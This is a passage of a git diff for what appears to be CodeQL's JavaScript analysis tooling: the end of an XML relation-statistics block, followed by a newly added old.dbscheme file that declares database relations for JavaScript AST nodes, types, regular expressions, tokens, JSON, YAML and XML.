+<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>expression</src> +<trg>xmlnode</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>expression</src> +<trg>index</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>index</src> +<trg>xmlnode</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>index</src> +<trg>expression</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> <name>is_nodejs</name> <cardinality>12</cardinality> <columnsizes> diff --git a/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/old.dbscheme b/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/old.dbscheme new file mode 100644 index 00000000000..c8859f3725d --- /dev/null +++ b/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/old.dbscheme @@ -0,0 +1,1194 @@ +/*** Standard fragments ***/ + +/** Files and folders **/ + +@location = @location_default; + +locations_default(unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref + ); + +@sourceline = @locatable; + +numlines(int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref + ); + + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files(unique int id: @file, + varchar(900) name: string ref, + varchar(900) simple: string ref, + varchar(900) ext: string ref, + int fromSource: int ref); + +folders(unique int id: @folder, + varchar(900) name: string ref, + varchar(900) simple: string ref); + + +@container = @folder | @file ; + + +containerparent(int parent: @container ref, + unique int child: @container ref); + +/** Duplicate code **/ + +duplicateCode( + unique int id : @duplication, + varchar(900) relativePath : string ref, + int equivClass : int ref); + +similarCode( + unique int id : @similarity, + varchar(900) relativePath : string ref, + int equivClass : int ref); + +@duplication_or_similarity = @duplication | @similarity; + +tokens( + int id : @duplication_or_similarity ref, + int offset : int ref, + int beginLine : int ref, + int beginColumn : int ref, + int endLine : int ref, + int endColumn : int ref); + +/** External data **/ + +externalData( + int id : @externalDataElement, + varchar(900) path : string ref, + int column: int ref, + varchar(900) value : string ref +); + +snapshotDate(unique date snapshotDate : date ref); + +sourceLocationPrefix(varchar(900) prefix : string ref); + +/** Version control data **/ + +svnentries( + int id : @svnentry, + varchar(500) revision : string ref, + varchar(500) author : string ref, + date revisionDate : date ref, + int changeSize : int ref +); + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + varchar(500) action : string ref +); + +svnentrymsg( + int id : @svnentry ref, + varchar(500) message : string ref +); + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +); + + +/*** JavaScript-specific part ***/ + +filetype( + int file: @file ref, + string filetype: string ref +) + +// top-level code fragments +toplevels (unique int id: @toplevel, + int kind: int ref); + +is_externs (int toplevel: @toplevel ref); + +case @toplevel.kind of + 0 = @script +| 1 = @inline_script +| 2 = @event_handler +| 3 = @javascript_url; + +is_module (int tl: @toplevel ref); +is_nodejs (int tl: @toplevel ref); +is_es2015_module (int tl: @toplevel ref); +is_closure_module (int tl: @toplevel ref); + +// statements +#keyset[parent, idx] +stmts (unique int id: @stmt, + int kind: int ref, + int parent: @stmt_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +stmt_containers (unique int stmt: @stmt ref, + int container: @stmt_container ref); + +jump_targets (unique int jump: @stmt ref, + int target: @stmt ref); + +@stmt_parent = @stmt | @toplevel | @function_expr | @arrow_function_expr; +@stmt_container = @toplevel | @function | @namespace_declaration | @external_module_declaration | @global_augmentation_declaration; + +case @stmt.kind of + 0 = @empty_stmt +| 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @labeled_stmt +| 5 = @break_stmt +| 6 = @continue_stmt +| 7 = @with_stmt +| 8 = @switch_stmt +| 9 = @return_stmt +| 10 = @throw_stmt +| 11 = @try_stmt +| 12 = @while_stmt +| 13 = @do_while_stmt +| 14 = @for_stmt +| 15 = @for_in_stmt +| 16 = @debugger_stmt +| 17 = @function_decl_stmt +| 18 = @var_decl_stmt +| 19 = @case +| 20 = @catch_clause +| 21 = @for_of_stmt +| 22 = @const_decl_stmt +| 23 = @let_stmt +| 24 = @legacy_let_stmt +| 25 = @for_each_stmt +| 26 = @class_decl_stmt +| 27 = @import_declaration +| 28 = @export_all_declaration +| 29 = @export_default_declaration +| 30 = @export_named_declaration +| 31 = @namespace_declaration +| 32 = @import_equals_declaration +| 33 = @export_assign_declaration +| 34 = @interface_declaration +| 35 = @type_alias_declaration +| 36 = @enum_declaration +| 37 = @external_module_declaration +| 38 = @export_as_namespace_declaration +| 39 = @global_augmentation_declaration +; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @let_stmt | @legacy_let_stmt; + +@export_declaration = @export_all_declaration | @export_default_declaration | @export_named_declaration; + +@namespace_definition = @namespace_declaration | @enum_declaration; +@type_definition = @class_definition | @interface_declaration | @enum_declaration | @type_alias_declaration | @enum_member; + +is_instantiated(unique int decl: @namespace_declaration ref); + +@declarable_node = @decl_stmt | @namespace_declaration | @class_decl_stmt | @function_decl_stmt | @enum_declaration | @external_module_declaration | @global_augmentation_declaration | @field; +has_declare_keyword(unique int stmt: @declarable_node ref); + +is_for_await_of(unique int forof: @for_of_stmt ref); + +// expressions +#keyset[parent, idx] +exprs (unique int id: @expr, + int kind: int ref, + int parent: @expr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @expr_or_type ref); + +enclosing_stmt (unique int expr: @expr_or_type ref, + int stmt: @stmt ref); + +expr_containers (unique int expr: @expr_or_type ref, + int container: @stmt_container ref); + +array_size (unique int ae: @arraylike ref, + int sz: int ref); + +is_delegating (int yield: @yield_expr ref); + +@expr_or_stmt = @expr | @stmt; +@expr_or_type = @expr | @typeexpr; +@expr_parent = @expr_or_stmt | @property | @function_typeexpr; +@arraylike = @array_expr | @array_pattern; +@type_annotation = @typeexpr | @jsdoc_type_expr; +@node_in_stmt_container = @cfg_node | @type_annotation | @toplevel; + +case @expr.kind of + 0 = @label +| 1 = @null_literal +| 2 = @boolean_literal +| 3 = @number_literal +| 4 = @string_literal +| 5 = @regexp_literal +| 6 = @this_expr +| 7 = @array_expr +| 8 = @obj_expr +| 9 = @function_expr +| 10 = @seq_expr +| 11 = @conditional_expr +| 12 = @new_expr +| 13 = @call_expr +| 14 = @dot_expr +| 15 = @index_expr +| 16 = @neg_expr +| 17 = @plus_expr +| 18 = @log_not_expr +| 19 = @bit_not_expr +| 20 = @typeof_expr +| 21 = @void_expr +| 22 = @delete_expr +| 23 = @eq_expr +| 24 = @neq_expr +| 25 = @eqq_expr +| 26 = @neqq_expr +| 27 = @lt_expr +| 28 = @le_expr +| 29 = @gt_expr +| 30 = @ge_expr +| 31 = @lshift_expr +| 32 = @rshift_expr +| 33 = @urshift_expr +| 34 = @add_expr +| 35 = @sub_expr +| 36 = @mul_expr +| 37 = @div_expr +| 38 = @mod_expr +| 39 = @bitor_expr +| 40 = @xor_expr +| 41 = @bitand_expr +| 42 = @in_expr +| 43 = @instanceof_expr +| 44 = @logand_expr +| 45 = @logor_expr +| 47 = @assign_expr +| 48 = @assign_add_expr +| 49 = @assign_sub_expr +| 50 = @assign_mul_expr +| 51 = @assign_div_expr +| 52 = @assign_mod_expr +| 53 = @assign_lshift_expr +| 54 = @assign_rshift_expr +| 55 = @assign_urshift_expr +| 56 = @assign_or_expr +| 57 = @assign_xor_expr +| 58 = @assign_and_expr +| 59 = @preinc_expr +| 60 = @postinc_expr +| 61 = @predec_expr +| 62 = @postdec_expr +| 63 = @par_expr +| 64 = @var_declarator +| 65 = @arrow_function_expr +| 66 = @spread_element +| 67 = @array_pattern +| 68 = @object_pattern +| 69 = @yield_expr +| 70 = @tagged_template_expr +| 71 = @template_literal +| 72 = @template_element +| 73 = @array_comprehension_expr +| 74 = @generator_expr +| 75 = @for_in_comprehension_block +| 76 = @for_of_comprehension_block +| 77 = @legacy_letexpr +| 78 = @var_decl +| 79 = @proper_varaccess +| 80 = @class_expr +| 81 = @super_expr +| 82 = @newtarget_expr +| 83 = @named_import_specifier +| 84 = @import_default_specifier +| 85 = @import_namespace_specifier +| 86 = @named_export_specifier +| 87 = @exp_expr +| 88 = @assign_exp_expr +| 89 = @jsx_element +| 90 = @jsx_qualified_name +| 91 = @jsx_empty_expr +| 92 = @await_expr +| 93 = @function_sent_expr +| 94 = @decorator +| 95 = @export_default_specifier +| 96 = @export_namespace_specifier +| 97 = @bind_expr +| 98 = @external_module_reference +| 99 = @dynamic_import +| 100 = @expression_with_type_arguments +| 101 = @prefix_type_assertion +| 102 = @as_type_assertion +| 103 = @export_varaccess +| 104 = @decorator_list +| 105 = @non_null_assertion +| 106 = @bigint_literal +| 107 = @nullishcoalescing_expr +| 108 = @e4x_xml_anyname +| 109 = @e4x_xml_static_attribute_selector +| 110 = @e4x_xml_dynamic_attribute_selector +| 111 = @e4x_xml_filter_expression +| 112 = @e4x_xml_static_qualident +| 113 = @e4x_xml_dynamic_qualident +| 114 = @e4x_xml_dotdotexpr +| 115 = @import_meta_expr +| 116 = @assignlogandexpr +| 117 = @assignlogorexpr +| 118 = @assignnullishcoalescingexpr +; + +@varaccess = @proper_varaccess | @export_varaccess; +@varref = @var_decl | @varaccess; + +@identifier = @label | @varref | @type_identifier; + +@literal = @null_literal | @boolean_literal | @number_literal | @string_literal | @regexp_literal | @bigint_literal; + +@propaccess = @dot_expr | @index_expr; + +@invokeexpr = @new_expr | @call_expr; + +@unaryexpr = @neg_expr | @plus_expr | @log_not_expr | @bit_not_expr | @typeof_expr | @void_expr | @delete_expr | @spread_element; + +@equality_test = @eq_expr | @neq_expr | @eqq_expr | @neqq_expr; + +@comparison = @equality_test | @lt_expr | @le_expr | @gt_expr | @ge_expr; + +@binaryexpr = @comparison | @lshift_expr | @rshift_expr | @urshift_expr | @add_expr | @sub_expr | @mul_expr | @div_expr | @mod_expr | @exp_expr | @bitor_expr | @xor_expr | @bitand_expr | @in_expr | @instanceof_expr | @logand_expr | @logor_expr | @nullishcoalescing_expr; + +@assignment = @assign_expr | @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr | @assign_mod_expr | @assign_exp_expr | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr | @assign_or_expr | @assign_xor_expr | @assign_and_expr | @assignlogandexpr | @assignlogorexpr | @assignnullishcoalescingexpr; + +@updateexpr = @preinc_expr | @postinc_expr | @predec_expr | @postdec_expr; + +@pattern = @varref | @array_pattern | @object_pattern; + +@comprehension_expr = @array_comprehension_expr | @generator_expr; + +@comprehension_block = @for_in_comprehension_block | @for_of_comprehension_block; + +@import_specifier = @named_import_specifier | @import_default_specifier | @import_namespace_specifier; + +@exportspecifier = @named_export_specifier | @export_default_specifier | @export_namespace_specifier; + +@import_or_export_declaration = @import_declaration | @export_declaration; + +@type_assertion = @as_type_assertion | @prefix_type_assertion; + +@class_definition = @class_decl_stmt | @class_expr; +@interface_definition = @interface_declaration | @interface_typeexpr; +@class_or_interface = @class_definition | @interface_definition; + +@lexical_decl = @var_decl | @type_decl; +@lexical_access = @varaccess | @local_type_access | @local_var_type_access | @local_namespace_access; +@lexical_ref = @lexical_decl | @lexical_access; + +@e4x_xml_attribute_selector = @e4x_xml_static_attribute_selector | @e4x_xml_dynamic_attribute_selector; +@e4x_xml_qualident = @e4x_xml_static_qualident | @e4x_xml_dynamic_qualident; + +// scopes +scopes (unique int id: @scope, + int kind: int ref); + +case @scope.kind of + 0 = @global_scope +| 1 = @function_scope +| 2 = @catch_scope +| 3 = @module_scope +| 4 = @block_scope +| 5 = @for_scope +| 6 = @for_in_scope // for-of scopes work the same as for-in scopes +| 7 = @comprehension_block_scope +| 8 = @class_expr_scope +| 9 = @namespace_scope +| 10 = @class_decl_scope +| 11 = @interface_scope +| 12 = @type_alias_scope +| 13 = @mapped_type_scope +| 14 = @enum_scope +| 15 = @external_module_scope +| 16 = @conditional_type_scope; + +scopenodes (unique int node: @ast_node ref, + int scope: @scope ref); + +scopenesting (unique int inner: @scope ref, + int outer: @scope ref); + +// functions +@function = @function_decl_stmt | @function_expr | @arrow_function_expr; + +@parameterized = @function | @catch_clause; +@type_parameterized = @function | @class_or_interface | @type_alias_declaration | @mapped_typeexpr | @infer_typeexpr; + +is_generator (int fun: @function ref); +has_rest_parameter (int fun: @function ref); +is_async (int fun: @function ref); + +// variables and lexically scoped type names +#keyset[scope, name] +variables (unique int id: @variable, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_type_names (unique int id: @local_type_name, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_namespace_names (unique int id: @local_namespace_name, + varchar(900) name: string ref, + int scope: @scope ref); + +is_arguments_object (int id: @variable ref); + +@lexical_name = @variable | @local_type_name | @local_namespace_name; + +@bind_id = @varaccess | @local_var_type_access; +bind (unique int id: @bind_id ref, + int decl: @variable ref); + +decl (unique int id: @var_decl ref, + int decl: @variable ref); + +@typebind_id = @local_type_access | @export_varaccess; +typebind (unique int id: @typebind_id ref, + int decl: @local_type_name ref); + +@typedecl_id = @type_decl | @var_decl; +typedecl (unique int id: @typedecl_id ref, + int decl: @local_type_name ref); + +namespacedecl (unique int id: @var_decl ref, + int decl: @local_namespace_name ref); + +@namespacebind_id = @local_namespace_access | @export_varaccess; +namespacebind (unique int id: @namespacebind_id ref, + int decl: @local_namespace_name ref); + + +// properties in object literals, property patterns in object patterns, and method declarations in classes +#keyset[parent, index] +properties (unique int id: @property, + int parent: @property_parent ref, + int index: int ref, + int kind: int ref, + varchar(900) tostring: string ref); + +case @property.kind of + 0 = @value_property +| 1 = @property_getter +| 2 = @property_setter +| 3 = @jsx_attribute +| 4 = @function_call_signature +| 5 = @constructor_call_signature +| 6 = @index_signature +| 7 = @enum_member +| 8 = @proper_field +| 9 = @parameter_field +; + +@property_parent = @obj_expr | @object_pattern | @class_definition | @jsx_element | @interface_definition | @enum_declaration; +@property_accessor = @property_getter | @property_setter; +@call_signature = @function_call_signature | @constructor_call_signature; +@field = @proper_field | @parameter_field; +@field_or_vardeclarator = @field | @var_declarator; + +is_computed (int id: @property ref); +is_method (int id: @property ref); +is_static (int id: @property ref); +is_abstract_member (int id: @property ref); +is_const_enum (int id: @enum_declaration ref); +is_abstract_class (int id: @class_decl_stmt ref); + +has_public_keyword (int id: @property ref); +has_private_keyword (int id: @property ref); +has_protected_keyword (int id: @property ref); +has_readonly_keyword (int id: @property ref); +has_type_keyword (int id: @import_or_export_declaration ref); +is_optional_member (int id: @property ref); +has_definite_assignment_assertion (int id: @field_or_vardeclarator ref); +is_optional_parameter_declaration (unique int parameter: @pattern ref); + +#keyset[constructor, param_index] +parameter_fields( + unique int field: @parameter_field ref, + int constructor: @function_expr ref, + int param_index: int ref +); + +// types +#keyset[parent, idx] +typeexprs ( + unique int id: @typeexpr, + int kind: int ref, + int parent: @typeexpr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref +); + +case @typeexpr.kind of + 0 = @local_type_access +| 1 = @type_decl +| 2 = @keyword_typeexpr +| 3 = @string_literal_typeexpr +| 4 = @number_literal_typeexpr +| 5 = @boolean_literal_typeexpr +| 6 = @array_typeexpr +| 7 = @union_typeexpr +| 8 = @indexed_access_typeexpr +| 9 = @intersection_typeexpr +| 10 = @parenthesized_typeexpr +| 11 = @tuple_typeexpr +| 12 = @keyof_typeexpr +| 13 = @qualified_type_access +| 14 = @generic_typeexpr +| 15 = @type_label +| 16 = @typeof_typeexpr +| 17 = @local_var_type_access +| 18 = @qualified_var_type_access +| 19 = @this_var_type_access +| 20 = @predicate_typeexpr +| 21 = @interface_typeexpr +| 22 = @type_parameter +| 23 = @plain_function_typeexpr +| 24 = @constructor_typeexpr +| 25 = @local_namespace_access +| 26 = @qualified_namespace_access +| 27 = @mapped_typeexpr +| 28 = @conditional_typeexpr +| 29 = @infer_typeexpr +| 30 = @import_type_access +| 31 = @import_namespace_access +| 32 = @import_var_type_access +| 33 = @optional_typeexpr +| 34 = @rest_typeexpr +| 35 = @bigint_literal_typeexpr +| 36 = @readonly_typeexpr +| 37 = @template_literal_typeexpr +; + +@typeref = @typeaccess | @type_decl; +@type_identifier = @type_decl | @local_type_access | @type_label | @local_var_type_access | @local_namespace_access; +@typeexpr_parent = @expr | @stmt | @property | @typeexpr; +@literal_typeexpr = @string_literal_typeexpr | @number_literal_typeexpr | @boolean_literal_typeexpr | @bigint_literal_typeexpr; +@typeaccess = @local_type_access | @qualified_type_access | @import_type_access; +@vartypeaccess = @local_var_type_access | @qualified_var_type_access | @this_var_type_access | @import_var_type_access; +@namespace_access = @local_namespace_access | @qualified_namespace_access | @import_namespace_access; +@import_typeexpr = @import_type_access | @import_namespace_access | @import_var_type_access; + +@function_typeexpr = @plain_function_typeexpr | @constructor_typeexpr; + +// types +types ( + unique int id: @type, + int kind: int ref, + varchar(900) tostring: string ref +); + +#keyset[parent, idx] +type_child ( + int child: @type ref, + int parent: @type ref, + int idx: int ref +); + +case @type.kind of + 0 = @any_type +| 1 = @string_type +| 2 = @number_type +| 3 = @union_type +| 4 = @true_type +| 5 = @false_type +| 6 = @type_reference +| 7 = @object_type +| 8 = @canonical_type_variable_type +| 9 = @typeof_type +| 10 = @void_type +| 11 = @undefined_type +| 12 = @null_type +| 13 = @never_type +| 14 = @plain_symbol_type +| 15 = @unique_symbol_type +| 16 = @objectkeyword_type +| 17 = @intersection_type +| 18 = @tuple_type +| 19 = @lexical_type_variable_type +| 20 = @this_type +| 21 = @number_literal_type +| 22 = @string_literal_type +| 23 = @unknown_type +| 24 = @bigint_type +| 25 = @bigint_literal_type +; + +@boolean_literal_type = @true_type | @false_type; +@symbol_type = @plain_symbol_type | @unique_symbol_type; +@union_or_intersection_type = @union_type | @intersection_type; +@typevariable_type = @canonical_type_variable_type | @lexical_type_variable_type; + +has_asserts_keyword(int node: @predicate_typeexpr ref); + +@typed_ast_node = @expr | @typeexpr | @function; +ast_node_type( + unique int node: @typed_ast_node ref, + int typ: @type ref); + +declared_function_signature( + unique int node: @function ref, + int sig: @signature_type ref +); + +invoke_expr_signature( + unique int node: @invokeexpr ref, + int sig: @signature_type ref +); + +invoke_expr_overload_index( + unique int node: @invokeexpr ref, + int index: int ref +); + +symbols ( + unique int id: @symbol, + int kind: int ref, + varchar(900) name: string ref +); + +symbol_parent ( + unique int symbol: @symbol ref, + int parent: @symbol ref +); + +symbol_module ( + int symbol: @symbol ref, + varchar(900) moduleName: string ref +); + +symbol_global ( + int symbol: @symbol ref, + varchar(900) globalName: string ref +); + +case @symbol.kind of + 0 = @root_symbol +| 1 = @member_symbol +| 2 = @other_symbol +; + +@type_with_symbol = @type_reference | @typevariable_type | @typeof_type | @unique_symbol_type; +@ast_node_with_symbol = @type_definition | @namespace_definition | @toplevel | @typeaccess | @namespace_access | @var_decl | @function | @invokeexpr | @import_declaration | @external_module_reference; + +ast_node_symbol( + unique int node: @ast_node_with_symbol ref, + int symbol: @symbol ref); + +type_symbol( + unique int typ: @type_with_symbol ref, + int symbol: @symbol ref); + +#keyset[typ, name] +type_property( + int typ: @type ref, + varchar(900) name: string ref, + int propertyType: @type ref); + +type_alias( + unique int aliasType: @type ref, + int underlyingType: @type ref); + +@literal_type = @string_literal_type | @number_literal_type | @boolean_literal_type | @bigint_literal_type; +@type_with_literal_value = @string_literal_type | @number_literal_type | @bigint_literal_type; +type_literal_value( + unique int typ: @type_with_literal_value ref, + varchar(900) value: string ref); + +signature_types ( + unique int id: @signature_type, + int kind: int ref, + varchar(900) tostring: string ref, + int type_parameters: int ref, + int required_params: int ref +); + +signature_rest_parameter( + unique int sig: @signature_type ref, + int rest_param_arra_type: @type ref +); + +case @signature_type.kind of + 0 = @function_signature_type +| 1 = @constructor_signature_type +; + +#keyset[typ, kind, index] +type_contains_signature ( + int typ: @type ref, + int kind: int ref, // constructor/call/index + int index: int ref, // ordering of overloaded signatures + int sig: @signature_type ref +); + +#keyset[parent, index] +signature_contains_type ( + int child: @type ref, + int parent: @signature_type ref, + int index: int ref +); + +#keyset[sig, index] +signature_parameter_name ( + int sig: @signature_type ref, + int index: int ref, + varchar(900) name: string ref +); + +number_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +string_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +base_type_names( + int typeName: @symbol ref, + int baseTypeName: @symbol ref +); + +self_types( + int typeName: @symbol ref, + int selfType: @type_reference ref +); + +tuple_type_min_length( + unique int typ: @type ref, + int minLength: int ref +); + +tuple_type_rest( + unique int typ: @type ref +); + +// comments +comments (unique int id: @comment, + int kind: int ref, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(900) tostring: string ref); + +case @comment.kind of + 0 = @slashslash_comment +| 1 = @slashstar_comment +| 2 = @doc_comment +| 3 = @html_comment_start +| 4 = @htmlcommentend; + +@html_comment = @html_comment_start | @htmlcommentend; +@line_comment = @slashslash_comment | @html_comment; +@block_comment = @slashstar_comment | @doc_comment; + +// source lines +lines (unique int id: @line, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(2) terminator: string ref); +indentation (int file: @file ref, + int lineno: int ref, + varchar(1) indentChar: string ref, + int indentDepth: int ref); + +// JavaScript parse errors +js_parse_errors (unique int id: @js_parse_error, + int toplevel: @toplevel ref, + varchar(900) message: string ref, + varchar(900) line: string ref); + +// regular expressions +#keyset[parent, idx] +regexpterm (unique int id: @regexpterm, + int kind: int ref, + int parent: @regexpparent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +@regexpparent = @regexpterm | @regexp_literal | @string_literal; + +case @regexpterm.kind of + 0 = @regexp_alt +| 1 = @regexp_seq +| 2 = @regexp_caret +| 3 = @regexp_dollar +| 4 = @regexp_wordboundary +| 5 = @regexp_nonwordboundary +| 6 = @regexp_positive_lookahead +| 7 = @regexp_negative_lookahead +| 8 = @regexp_star +| 9 = @regexp_plus +| 10 = @regexp_opt +| 11 = @regexp_range +| 12 = @regexp_dot +| 13 = @regexp_group +| 14 = @regexp_normal_constant +| 15 = @regexp_hex_escape +| 16 = @regexp_unicode_escape +| 17 = @regexp_dec_escape +| 18 = @regexp_oct_escape +| 19 = @regexp_ctrl_escape +| 20 = @regexp_char_class_escape +| 21 = @regexp_id_escape +| 22 = @regexp_backref +| 23 = @regexp_char_class +| 24 = @regexp_char_range +| 25 = @regexp_positive_lookbehind +| 26 = @regexp_negative_lookbehind +| 27 = @regexp_unicode_property_escape; + +regexp_parse_errors (unique int id: @regexp_parse_error, + int regexp: @regexpterm ref, + varchar(900) message: string ref); + +@regexp_quantifier = @regexp_star | @regexp_plus | @regexp_opt | @regexp_range; +@regexp_escape = @regexp_char_escape | @regexp_char_class_escape | @regexp_unicode_property_escape; +@regexp_char_escape = @regexp_hex_escape | @regexp_unicode_escape | @regexp_dec_escape | @regexp_oct_escape | @regexp_ctrl_escape | @regexp_id_escape; +@regexp_constant = @regexp_normal_constant | @regexp_char_escape; +@regexp_lookahead = @regexp_positive_lookahead | @regexp_negative_lookahead; +@regexp_lookbehind = @regexp_positive_lookbehind | @regexp_negative_lookbehind; +@regexp_subpattern = @regexp_lookahead | @regexp_lookbehind; +@regexp_anchor = @regexp_dollar | @regexp_caret; + +is_greedy (int id: @regexp_quantifier ref); +range_quantifier_lower_bound (unique int id: @regexp_range ref, int lo: int ref); +range_quantifier_upper_bound (unique int id: @regexp_range ref, int hi: int ref); +is_capture (unique int id: @regexp_group ref, int number: int ref); +is_named_capture (unique int id: @regexp_group ref, string name: string ref); +is_inverted (int id: @regexp_char_class ref); +regexp_const_value (unique int id: @regexp_constant ref, varchar(1) value: string ref); +char_class_escape (unique int id: @regexp_char_class_escape ref, varchar(1) value: string ref); +backref (unique int id: @regexp_backref ref, int value: int ref); +named_backref (unique int id: @regexp_backref ref, string name: string ref); +unicode_property_escapename (unique int id: @regexp_unicode_property_escape ref, string name: string ref); +unicode_property_escapevalue (unique int id: @regexp_unicode_property_escape ref, string value: string ref); + +// tokens +#keyset[toplevel, idx] +tokeninfo (unique int id: @token, + int kind: int ref, + int toplevel: @toplevel ref, + int idx: int ref, + varchar(900) value: string ref); + +case @token.kind of + 0 = @token_eof +| 1 = @token_null_literal +| 2 = @token_boolean_literal +| 3 = @token_numeric_literal +| 4 = @token_string_literal +| 5 = @token_regular_expression +| 6 = @token_identifier +| 7 = @token_keyword +| 8 = @token_punctuator; + +// associate comments with the token immediately following them (which may be EOF) +next_token (int comment: @comment ref, int token: @token ref); + +// JSON +#keyset[parent, idx] +json (unique int id: @json_value, + int kind: int ref, + int parent: @json_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +json_literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @json_value ref); + +json_properties (int obj: @json_object ref, + varchar(900) property: string ref, + int value: @json_value ref); + +json_errors (unique int id: @json_parse_error, + varchar(900) message: string ref); + +json_locations(unique int locatable: @json_locatable ref, + int location: @location_default ref); + +case @json_value.kind of + 0 = @json_null +| 1 = @json_boolean +| 2 = @json_number +| 3 = @json_string +| 4 = @json_array +| 5 = @json_object; + +@json_parent = @json_object | @json_array | @file; + +@json_locatable = @json_value | @json_parse_error; + +// locations +@ast_node = @toplevel | @stmt | @expr | @property | @typeexpr; + +@locatable = @file + | @ast_node + | @comment + | @line + | @js_parse_error | @regexp_parse_error + | @regexpterm + | @json_locatable + | @token + | @cfg_node + | @jsdoc | @jsdoc_type_expr | @jsdoc_tag + | @yaml_locatable + | @xmllocatable + | @configLocatable; + +hasLocation (unique int locatable: @locatable ref, + int location: @location ref); + +// CFG +entry_cfg_node (unique int id: @entry_node, int container: @stmt_container ref); +exit_cfg_node (unique int id: @exit_node, int container: @stmt_container ref); +guard_node (unique int id: @guard_node, int kind: int ref, int test: @expr ref); +case @guard_node.kind of + 0 = @falsy_guard +| 1 = @truthy_guard; +@condition_guard = @falsy_guard | @truthy_guard; + +@synthetic_cfg_node = @entry_node | @exit_node | @guard_node; +@cfg_node = @synthetic_cfg_node | @expr_parent; + +successor (int pred: @cfg_node ref, int succ: @cfg_node ref); + +// JSDoc comments +jsdoc (unique int id: @jsdoc, varchar(900) description: string ref, int comment: @comment ref); +#keyset[parent, idx] +jsdoc_tags (unique int id: @jsdoc_tag, varchar(900) title: string ref, + int parent: @jsdoc ref, int idx: int ref, varchar(900) tostring: string ref); +jsdoc_tag_descriptions (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); +jsdoc_tag_names (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); + +#keyset[parent, idx] +jsdoc_type_exprs (unique int id: @jsdoc_type_expr, + int kind: int ref, + int parent: @jsdoc_type_expr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); +case @jsdoc_type_expr.kind of + 0 = @jsdoc_any_type_expr +| 1 = @jsdoc_null_type_expr +| 2 = @jsdoc_undefined_type_expr +| 3 = @jsdoc_unknown_type_expr +| 4 = @jsdoc_void_type_expr +| 5 = @jsdoc_named_type_expr +| 6 = @jsdoc_applied_type_expr +| 7 = @jsdoc_nullable_type_expr +| 8 = @jsdoc_non_nullable_type_expr +| 9 = @jsdoc_record_type_expr +| 10 = @jsdoc_array_type_expr +| 11 = @jsdoc_union_type_expr +| 12 = @jsdoc_function_type_expr +| 13 = @jsdoc_optional_type_expr +| 14 = @jsdoc_rest_type_expr +; + +#keyset[id, idx] +jsdoc_record_field_name (int id: @jsdoc_record_type_expr ref, int idx: int ref, varchar(900) name: string ref); +jsdoc_prefix_qualifier (int id: @jsdoc_type_expr ref); +jsdoc_has_new_parameter (int fn: @jsdoc_function_type_expr ref); + +@jsdoc_type_expr_parent = @jsdoc_type_expr | @jsdoc_tag; + +jsdoc_errors (unique int id: @jsdoc_error, int tag: @jsdoc_tag ref, varchar(900) message: string ref, varchar(900) tostring: string ref); + +// YAML +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + varchar(900) tag: string ref, + varchar(900) tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + varchar(900) anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + varchar(900) target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + varchar(900) value: string ref); + +yaml_errors (unique int id: @yaml_error, + varchar(900) message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + +/* XML Files */ + +xmlEncoding( + unique int id: @file ref, + varchar(900) encoding: string ref +); + +xmlDTDs( + unique int id: @xmldtd, + varchar(900) root: string ref, + varchar(900) publicId: string ref, + varchar(900) systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + varchar(900) name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int 